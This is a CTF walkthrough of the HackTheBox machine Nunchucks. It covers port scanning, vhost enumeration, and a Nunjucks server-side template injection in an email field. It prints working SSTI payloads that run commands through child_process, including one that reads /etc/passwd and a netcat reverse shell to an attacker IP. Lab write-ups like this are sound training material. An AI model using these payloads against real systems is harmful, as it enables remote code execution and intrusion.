Nunchucks

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Nunchucks (Ubuntu, attack surface: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22), nginx 1.18.0 (Ubuntu) (443), nginx 1.18.0 (Ubuntu) (80)). Foothold via ssti; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.11.122 --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (22), ssl/http (443).
• Scan used: nmap -p- -sVC 10.10.11.122 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~/Downloads]
└─$ nmap -p- -sVC 10.10.11.122 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-15 03:41 PDT
Nmap scan report for 10.10.11.122
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
|   256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_  256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.76 seconds

1. Based from the nmap results, the machine runs a web applicatoin and opens ssh login.

2. Trying every feature, resulting to nothing interesting. Even when tried to register account, they said it's closed already.

3. Running dirbuster found nothing interesting again.

4. But checking the subdomain, by running gobuster, found one domain that should be our interest --> store.nunchucks.htb.

NOTES:

Since nunchuck is https --> hence need to add -k

gobuster vhost -u host -w wordlists -k

1. Long story short found the vuln at the Notify Me textbox --> SSTI.

2. The vuln is SSTI as you can see the webserver execute the regex operation.

3. Great! Seems this is our foothold.

4. Anyway, after ran another ssti for flask, it shows nothing.

5. Not took me long to realized that the template engine used probably is Nunjucks. It's easy to guess based from the chall title and programming language used in this webapp.

WAPPALYZER RESULT

1. Did a little outsource about Nunjucks Template Engine exploit.

http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine

1. But we need to revised a little bit.

REVISED

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@gmail.com

1. Let's spawn reverse shell with our template payload. Here's the full payload:

PAYLOAD

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.20 1337 >/tmp/f')\")()}}@gmail.com

NOTE:

Use the previous request we sent to repeater then change the JSON email parameter value, it won't work if we tried to catch the request from 0 again.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.